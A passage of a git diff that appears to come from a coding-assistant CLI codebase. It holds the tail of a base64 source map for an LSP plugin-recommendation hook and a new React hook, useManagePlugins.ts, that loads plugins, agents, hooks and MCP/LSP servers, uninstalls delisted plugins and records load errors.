20gJy4uL3V0aWxzL3NldHRpbmdzL3NldHRpbmdzLmpzJ1xuaW1wb3J0IHtcbiAgaW5zdGFsbFBsdWdpbkFuZE5vdGlmeSxcbiAgdXNlUGx1Z2luUmVjb21tZW5kYXRpb25CYXNlLFxufSBmcm9tICcuL3VzZVBsdWdpblJlY29tbWVuZGF0aW9uQmFzZS5qcydcblxuLy8gVGhyZXNob2xkIGZvciBkZXRlY3RpbmcgdGltZW91dCB2cyBleHBsaWNpdCBkaXNtaXNzIChtcylcbi8vIE1lbnUgYXV0by1kaXNtaXNzZXMgYXQgMzBzLCBzbyBhbnl0aGluZyBvdmVyIDI4cyBpcyBsaWtlbHkgdGltZW91dFxuY29uc3QgVElNRU9VVF9USFJFU0hPTERfTVMgPSAyOF8wMDBcblxuZXhwb3J0IHR5cGUgTHNwUmVjb21tZW5kYXRpb25TdGF0ZSA9IHtcbiAgcGx1Z2luSWQ6IHN0cmluZ1xuICBwbHVnaW5OYW1lOiBzdHJpbmdcbiAgcGx1Z2luRGVzY3JpcHRpb24/OiBzdHJpbmdcbiAgZmlsZUV4dGVuc2lvbjogc3RyaW5nXG4gIHNob3duQXQ6IG51bWJlciAvLyBUaW1lc3RhbXAgZm9yIHRpbWVvdXQgZGV0ZWN0aW9uXG59IHwgbnVsbFxuXG50eXBlIFVzZUxzcFBsdWdpblJlY29tbWVuZGF0aW9uUmVzdWx0ID0ge1xuICByZWNvbW1lbmRhdGlvbjogTHNwUmVjb21tZW5kYXRpb25TdGF0ZVxuICBoYW5kbGVSZXNwb25zZTogKHJlc3BvbnNlOiAneWVzJyB8ICdubycgfCAnbmV2ZXInIHwgJ2Rpc2FibGUnKSA9PiB2b2lkXG59XG5cbmV4cG9ydCBmdW5jdGlvbiB1c2VMc3BQbHVnaW5SZWNvbW1lbmRhdGlvbigpOiBVc2VMc3BQbHVnaW5SZWNvbW1lbmRhdGlvblJlc3VsdCB7XG4gIGNvbnN0IHRyYWNrZWRGaWxlcyA9IHVzZUFwcFN0YXRlKHMgPT4gcy5maWxlSGlzdG9yeS50cmFja2VkRmlsZXMpXG4gIGNvbnN0IHsgYWRkTm90aWZpY2F0aW9uIH0gPSB1c2VOb3RpZmljYXRpb25zKClcbiAgY29uc3QgY2hlY2tlZEZpbGVzUmVmID0gUmVhY3QudXNlUmVmPFNldDxzdHJpbmc+PihuZXcgU2V0KCkpXG4gIGNvbnN0IHsgcmVjb21tZW5kYXRpb24sIGNsZWFyUmVjb21tZW5kYXRpb24sIHRyeVJlc29sdmUgfSA9XG4gICAgdXNlUGx1Z2luUmVjb21tZW5kYXRpb25CYXNlPE5vbk51bGxhYmxlPExzcFJlY29tbWVuZGF0aW9uU3RhdGU+PigpXG5cbiAgUmVhY3QudXNlRWZmZWN0KCgpID0+IHtcbiAgICB0cnlSZXNvbHZlKGFzeW5jICgpID0+IHtcbiAgICAgIGlmIChoYXNTaG93bkxzcFJlY29tbWVuZGF0aW9uVGhpc1Nlc3Npb24oKSkgcmV0dXJuIG51bGxcblxuICAgICAgY29uc3QgbmV3RmlsZXM6IHN0cmluZ1tdID0gW11cbiAgICAgIGZvciAoY29uc3QgZmlsZSBvZiB0cmFja2VkRmlsZXMpIHtcbiAgICAgICAgaWYgKCFjaGVja2VkRmlsZXNSZWYuY3VycmVudC5oYXMoZmlsZSkpIHtcbiAgICAgICAgICBjaGVja2VkRmlsZXNSZWYuY3VycmVudC5hZGQoZmlsZSlcbiAgICAgICAgICBuZXdGaWxlcy5wdXNoKGZpbGUpXG4gICAgICAgIH1cbiAgICAgIH1cblxuICAgICAgZm9yIChjb25zdCBmaWxlUGF0aCBvZiBuZXdGaWxlcykge1xuICAgICAgICB0cnkge1xuICAgICAgICAgIGNvbnN0IG1hdGNoZXMgPSBhd2FpdCBnZXRNYXRjaGluZ0xzcFBsdWdpbnMoZmlsZVBhdGgpXG4gICAgICAgICAgY29uc3QgbWF0Y2ggPSBtYXRjaGVzWzBdIC8vIG9mZmljaWFsIHBsdWdpbnMgcHJpb3JpdGl6ZWRcbiAgICAgICAgICBpZiAobWF0Y2gpIHtcbiAgICAgICAgICAgIGxvZ0ZvckRlYnVnZ2luZyhcbiAgICAgICAgICAgICAgYFt1c2VMc3BQbHVnaW5SZWNvbW1lbmRhdGlvbl0gRm91bmQgbWF0Y2g6ICR7bWF0Y2gucGx1Z2luTmFtZX0gZm9yICR7ZmlsZVBhdGh9YCxcbiAgICAgICAgICAgIClcbiAgICAgICAgICAgIHNldExzcFJlY29tbWVuZGF0aW9uU2hvd25UaGlzU2Vzc2lvbih0cnVlKVxuICAgICAgICAgICAgcmV0dXJuIHtcbiAgICAgICAgICAgICAgcGx1Z2luSWQ6IG1hdGNoLnBsdWdpbklkLFxuICAgICAgICAgICAgICBwbHVnaW5OYW1lOiBtYXRjaC5wbHVnaW5OYW1lLFxuICAgICAgICAgICAgICBwbHVnaW5EZXNjcmlwdGlvbjogbWF0Y2guZGVzY3JpcHRpb24sXG4gICAgICAgICAgICAgIGZpbGVFeHRlbnNpb246IGV4dG5hbWUoZmlsZVBhdGgpLFxuICAgICAgICAgICAgICBzaG93bkF0OiBEYXRlLm5vdygpLFxuICAgICAgICAgICAgfVxuICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHtcbiAgICAgICAgICBsb2dFcnJvcihlcnJvcilcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIG51bGxcbiAgICB9KVxuICB9LCBbdHJhY2tlZEZpbGVzLCB0cnlSZXNvbHZlXSlcblxuICBjb25zdCBoYW5kbGVSZXNwb25zZSA9IFJlYWN0LnVzZUNhbGxiYWNrKFxuICAgIChyZXNwb25zZTogJ3llcycgfCAnbm8nIHwgJ25ldmVyJyB8ICdkaXNhYmxlJykgPT4ge1xuICAgICAgaWYgKCFyZWNvbW1lbmRhdGlvbikgcmV0dXJuXG5cbiAgICAgIGNvbnN0IHsgcGx1Z2luSWQsIHBsdWdpbk5hbWUsIHNob3duQXQgfSA9IHJlY29tbWVuZGF0aW9uXG5cbiAgICAgIGxvZ0ZvckRlYnVnZ2luZyhcbiAgICAgICAgYFt1c2VMc3BQbHVnaW5SZWNvbW1lbmRhdGlvbl0gVXNlciByZXNwb25zZTogJHtyZXNwb25zZX0gZm9yICR7cGx1Z2luTmFtZX1gLFxuICAgICAgKVxuXG4gICAgICBzd2l0Y2ggKHJlc3BvbnNlKSB7XG4gICAgICAgIGNhc2UgJ3llcyc6XG4gICAgICAgICAgdm9pZCBpbnN0YWxsUGx1Z2luQW5kTm90aWZ5KFxuICAgICAgICAgICAgcGx1Z2luSWQsXG4gICAgICAgICAgICBwbHVnaW5OYW1lLFxuICAgICAgICAgICAgJ2xzcC1wbHVnaW4nLFxuICAgICAgICAgICAgYWRkTm90aWZpY2F0aW9uLFxuICAgICAgICAgICAgYXN5bmMgcGx1Z2luRGF0YSA9PiB7XG4gICAgICAgICAgICAgIGxvZ0ZvckRlYnVnZ2luZyhcbiAgICAgICAgICAgICAgICBgW3VzZUxzcFBsdWdpblJlY29tbWVuZGF0aW9uXSBJbnN0YWxsaW5nIHBsdWdpbjogJHtwbHVnaW5JZH1gLFxuICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgIGNvbnN0IGxvY2FsU291cmNlUGF0aCA9XG4gICAgICAgICAgICAgICAgdHlwZW9mIHBsdWdpbkRhdGEuZW50cnkuc291cmNlID09PSAnc3RyaW5nJ1xuICAgICAgICAgICAgICAgICAgPyBqb2luKFxuICAgICAgICAgICAgICAgICAgICAgIHBsdWdpbkRhdGEubWFya2V0cGxhY2VJbnN0YWxsTG9jYXRpb24sXG4gICAgICAgICAgICAgICAgICAgICAgcGx1Z2luRGF0YS5lbnRyeS5zb3VyY2UsXG4gICAgICAgICAgICAgICAgICAgIClcbiAgICAgICAgICAgICAgICAgIDogdW5kZWZpbmVkXG4gICAgICAgICAgICAgIGF3YWl0IGNhY2hlQW5kUmVnaXN0ZXJQbHVnaW4oXG4gICAgICAgICAgICAgICAgcGx1Z2luSWQsXG4gICAgICAgICAgICAgICAgcGx1Z2luRGF0YS5lbnRyeSxcbiAgICAgICAgICAgICAgICAndXNlcicsXG4gICAgICAgICAgICAgICAgdW5kZWZpbmVkLCAvLyBwcm9qZWN0UGF0aCAtIG5vdCBuZWVkZWQgZm9yIHVzZXIgc2NvcGVcbiAgICAgICAgICAgICAgICBsb2NhbFNvdXJjZVBhdGgsXG4gICAgICAgICAgICAgIClcbiAgICAgICAgICAgICAgLy8gRW5hYmxlIGluIHVzZXIgc2V0dGluZ3Mgc28gaXQgbG9hZHMgb24gcmVzdGFydFxuICAgICAgICAgICAgICBjb25zdCBzZXR0aW5ncyA9IGdldFNldHRpbmdzRm9yU291cmNlKCd1c2VyU2V0dGluZ3MnKVxuICAgICAgICAgICAgICB1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSgndXNlclNldHRpbmdzJywge1xuICAgICAgICAgICAgICAgIGVuYWJsZWRQbHVnaW5zOiB7XG4gICAgICAgICAgICAgICAgICAuLi5zZXR0aW5ncz8uZW5hYmxlZFBsdWdpbnMsXG4gICAgICAgICAgICAgICAgICBbcGx1Z2luSWRdOiB0cnVlLFxuICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgIH0pXG4gICAgICAgICAgICAgIGxvZ0ZvckRlYnVnZ2luZyhcbiAgICAgICAgICAgICAgICBgW3VzZUxzcFBsdWdpblJlY29tbWVuZGF0aW9uXSBQbHVnaW4gaW5zdGFsbGVkOiAke3BsdWdpbklkfWAsXG4gICAgICAgICAgICAgIClcbiAgICAgICAgICAgIH0sXG4gICAgICAgICAgKVxuICAgICAgICAgIGJyZWFrXG5cbiAgICAgICAgY2FzZSAnbm8nOiB7XG4gICAgICAgICAgY29uc3QgZWxhcHNlZCA9IERhdGUubm93KCkgLSBzaG93bkF0XG4gICAgICAgICAgaWYgKGVsYXBzZWQgPj0gVElNRU9VVF9USFJFU0hPTERfTVMpIHtcbiAgICAgICAgICAgIGxvZ0ZvckRlYnVnZ2luZyhcbiAgICAgICAgICAgICAgYFt1c2VMc3BQbHVnaW5SZWNvbW1lbmRhdGlvbl0gVGltZW91dCBkZXRlY3RlZCAoJHtlbGFwc2VkfW1zKSwgaW5jcmVtZW50aW5nIGlnbm9yZWQgY291bnRgLFxuICAgICAgICAgICAgKVxuICAgICAgICAgICAgaW5jcmVtZW50SWdub3JlZENvdW50KClcbiAgICAgICAgICB9XG4gICAgICAgICAgYnJlYWtcbiAgICAgICAgfVxuXG4gICAgICAgIGNhc2UgJ25ldmVyJzpcbiAgICAgICAgICBhZGRUb05ldmVyU3VnZ2VzdChwbHVnaW5JZClcbiAgICAgICAgICBicmVha1xuXG4gICAgICAgIGNhc2UgJ2Rpc2FibGUnOlxuICAgICAgICAgIHNhdmVHbG9iYWxDb25maWcoY3VycmVudCA9PiB7XG4gICAgICAgICAgICBpZiAoY3VycmVudC5sc3BSZWNvbW1lbmRhdGlvbkRpc2FibGVkKSByZXR1cm4gY3VycmVudFxuICAgICAgICAgICAgcmV0dXJuIHsgLi4uY3VycmVudCwgbHNwUmVjb21tZW5kYXRpb25EaXNhYmxlZDogdHJ1ZSB9XG4gICAgICAgICAgfSlcbiAgICAgICAgICBicmVha1xuICAgICAgfVxuXG4gICAgICBjbGVhclJlY29tbWVuZGF0aW9uKClcbiAgICB9LFxuICAgIFtyZWNvbW1lbmRhdGlvbiwgYWRkTm90aWZpY2F0aW9uLCBjbGVhclJlY29tbWVuZGF0aW9uXSxcbiAgKVxuXG4gIHJldHVybiB7IHJlY29tbWVuZGF0aW9uLCBoYW5kbGVSZXNwb25zZSB9XG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBOztBQUVBLFNBQVNBLE9BQU8sRUFBRUMsSUFBSSxRQUFRLE1BQU07QUFDcEMsT0FBTyxLQUFLQyxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUNFQyxvQ0FBb0MsRUFDcENDLG9DQUFvQyxRQUMvQix1QkFBdUI7QUFDOUIsU0FBU0MsZ0JBQWdCLFFBQVEsNkJBQTZCO0FBQzlELFNBQVNDLFdBQVcsUUFBUSxzQkFBc0I7QUFDbEQsU0FBU0MsZ0JBQWdCLFFBQVEsb0JBQW9CO0FBQ3JELFNBQVNDLGVBQWUsUUFBUSxtQkFBbUI7QUFDbkQsU0FBU0MsUUFBUSxRQUFRLGlCQUFpQjtBQUMxQyxTQUNFQyxpQkFBaUIsRUFDakJDLHFCQUFxQixFQUNyQkMscUJBQXFCLFFBQ2hCLHVDQUF1QztBQUM5QyxTQUFTQyxzQkFBc0IsUUFBUSwrQ0FBK0M7QUFDdEYsU0FDRUMsb0JBQW9CLEVBQ3BCQyx1QkFBdUIsUUFDbEIsK0JBQStCO0FBQ3RDLFNBQ0VDLHNCQUFzQixFQUN0QkMsMkJBQTJCLFFBQ3RCLGtDQUFrQzs7QUFFekM7QUFDQTtBQUNBLE1BQU1DLG9CQUFvQixHQUFHLE1BQ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
\ No newline at end of file
diff --git a/cc-haha/src/hooks/useManagePlugins.ts b/cc-haha/src/hooks/useManagePlugins.ts
new file mode 100644
index 0000000..7efe1d5
--- /dev/null
+++ b/cc-haha/src/hooks/useManagePlugins.ts
@@ -0,0 +1,304 @@
+import { useCallback, useEffect } from 'react'
+import type { Command } from '../commands.js'
+import { useNotifications } from '../context/notifications.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../services/analytics/index.js'
+import { reinitializeLspServerManager } from '../services/lsp/manager.js'
+import { useAppState, useSetAppState } from '../state/AppState.js'
+import type { AgentDefinition } from '../tools/AgentTool/loadAgentsDir.js'
+import { count } from '../utils/array.js'
+import { logForDebugging } from '../utils/debug.js'
+import { logForDiagnosticsNoPII } from '../utils/diagLogs.js'
+import { toError } from '../utils/errors.js'
+import { logError } from '../utils/log.js'
+import { loadPluginAgents } from '../utils/plugins/loadPluginAgents.js'
+import { getPluginCommands } from '../utils/plugins/loadPluginCommands.js'
+import { loadPluginHooks } from '../utils/plugins/loadPluginHooks.js'
+import { loadPluginLspServers } from '../utils/plugins/lspPluginIntegration.js'
+import { loadPluginMcpServers } from '../utils/plugins/mcpPluginIntegration.js'
+import { detectAndUninstallDelistedPlugins } from '../utils/plugins/pluginBlocklist.js'
+import { getFlaggedPlugins } from '../utils/plugins/pluginFlagging.js'
+import { loadAllPlugins } from '../utils/plugins/pluginLoader.js'
+
+/**
+ * Hook to manage plugin state and synchronize with AppState.
+ *
+ * On mount: loads all plugins, runs delisting enforcement, surfaces flagged-
+ * plugin notifications, populates AppState.plugins. This is the initial
+ * Layer-3 load — subsequent refresh goes through /reload-plugins.
+ *
+ * On needsRefresh: shows a notification directing the user to /reload-plugins.
+ * Does NOT auto-refresh. All Layer-3 swap (commands, agents, hooks, MCP)
+ * goes through refreshActivePlugins() via /reload-plugins for one consistent
+ * mental model. See Outline: declarative-settings-hXHBMDIf4b PR 5c.
+ */
+export function useManagePlugins({
+  enabled = true,
+}: {
+  enabled?: boolean
+} = {}) {
+  const setAppState = useSetAppState()
+  const needsRefresh = useAppState(s => s.plugins.needsRefresh)
+  const { addNotification } = useNotifications()
+
+  // Initial plugin load. Runs once on mount. NOT used for refresh — all
+  // post-mount refresh goes through /reload-plugins → refreshActivePlugins().
+  // Unlike refreshActivePlugins, this also runs delisting enforcement and
+  // flagged-plugin notifications (session-start concerns), and does NOT bump
+  // mcp.pluginReconnectKey (MCP effects fire on their own mount).
+  const initialPluginLoad = useCallback(async () => {
+    try {
+      // Load all plugins - capture errors array
+      const { enabled, disabled, errors } = await loadAllPlugins()
+
+      // Detect delisted plugins, auto-uninstall them, and record as flagged.
+      await detectAndUninstallDelistedPlugins()
+
+      // Notify if there are flagged plugins pending dismissal
+      const flagged = getFlaggedPlugins()
+      if (Object.keys(flagged).length > 0) {
+        addNotification({
+          key: 'plugin-delisted-flagged',
+          text: 'Plugins flagged. Check /plugins',
+          color: 'warning',
+          priority: 'high',
+        })
+      }
+
+      // Load commands, agents, and hooks with individual error handling
+      // Errors are added to the errors array for user visibility in Doctor UI
+      let commands: Command[] = []
+      let agents: AgentDefinition[] = []
+
+      try {
+        commands = await getPluginCommands()
+      } catch (error) {
+        const errorMessage =
+          error instanceof Error ? error.message : String(error)
+        errors.push({
+          type: 'generic-error',
+          source: 'plugin-commands',
+          error: `Failed to load plugin commands: ${errorMessage}`,
+        })
+      }
+
+      try {
+        agents = await loadPluginAgents()
+      } catch (error) {
+        const errorMessage =
+          error instanceof Error ? error.message : String(error)
+        errors.push({
+          type: 'generic-error',
+          source: 'plugin-agents',
+          error: `Failed to load plugin agents: ${errorMessage}`,
+        })
+      }
+
+      try {
+        await loadPluginHooks()
+      } catch (error) {
+        const errorMessage =
+          error instanceof Error ? error.message : String(error)
+        errors.push({
+          type: 'generic-error',
+          source: 'plugin-hooks',
+          error: `Failed to load plugin hooks: ${errorMessage}`,
+        })
+      }
+
+      // Load MCP server configs per plugin to get an accurate count.
+      // LoadedPlugin.mcpServers is not populated by loadAllPlugins — it's a
+      // cache slot that extractMcpServersFromPlugins fills later, which races
+      // with this metric. Calling loadPluginMcpServers directly (as
+      // cli/handlers/plugins.ts does) gives the correct count and also
+      // warms the cache for the MCP connection manager.
+      //
+      // Runs BEFORE setAppState so any errors pushed by these loaders make it
+      // into AppState.plugins.errors (Doctor UI), not just telemetry.
+      const mcpServerCounts = await Promise.all(
+        enabled.map(async p => {
+          if (p.mcpServers) return Object.keys(p.mcpServers).length
+          const servers = await loadPluginMcpServers(p, errors)
+          if (servers) p.mcpServers = servers
+          return servers ? Object.keys(servers).length : 0
+        }),
+      )
+      const mcp_count = mcpServerCounts.reduce((sum, n) => sum + n, 0)
+
+      // LSP: the primary fix for issue #15521 is in refresh.ts (via
+      // performBackgroundPluginInstallations → refreshActivePlugins, which
+      // clears caches first). This reinit is defensive — it reads the same
+      // memoized loadAllPlugins() result as the original init unless a cache
+      // invalidation happened between main.tsx:3203 and REPL mount (e.g.
+      // seed marketplace registration or policySettings hot-reload).
+      const lspServerCounts = await Promise.all(
+        enabled.map(async p => {
+          if (p.lspServers) return Object.keys(p.lspServers).length
+          const servers = await loadPluginLspServers(p, errors)
+          if (servers) p.lspServers = servers
+          return servers ? Object.keys(servers).length : 0
+        }),
+      )
+      const lsp_count = lspServerCounts.reduce((sum, n) => sum + n, 0)
+      reinitializeLspServerManager()
+
+      // Update AppState - merge errors to preserve LSP errors
+      setAppState(prevState => {
+        // Keep existing LSP/non-plugin-loading errors (source 'lsp-manager' or 'plugin:*')
+        const existingLspErrors = prevState.plugins.errors.filter(
+          e => e.source === 'lsp-manager' || e.source.startsWith('plugin:'),
+        )
+        // Deduplicate: remove existing LSP errors that are also in new errors
+        const newErrorKeys = new Set(
+          errors.map(e =>
+            e.type === 'generic-error'
+              ? `generic-error:${e.source}:${e.error}`
+              : `${e.type}:${e.source}`,
+          ),
+        )
+        const filteredExisting = existingLspErrors.filter(e => {
+          const key =
+            e.type === 'generic-error'
+              ? `generic-error:${e.source}:${e.error}`
+              : `${e.type}:${e.source}`
+          return !newErrorKeys.has(key)
+        })
+        const mergedErrors = [...filteredExisting, ...errors]
+
+        return {
+          ...prevState,
+          plugins: {
+            ...prevState.plugins,
+            enabled,
+            disabled,
+            commands,
+            errors: mergedErrors,
+          },
+        }
+      })
+
+      logForDebugging(
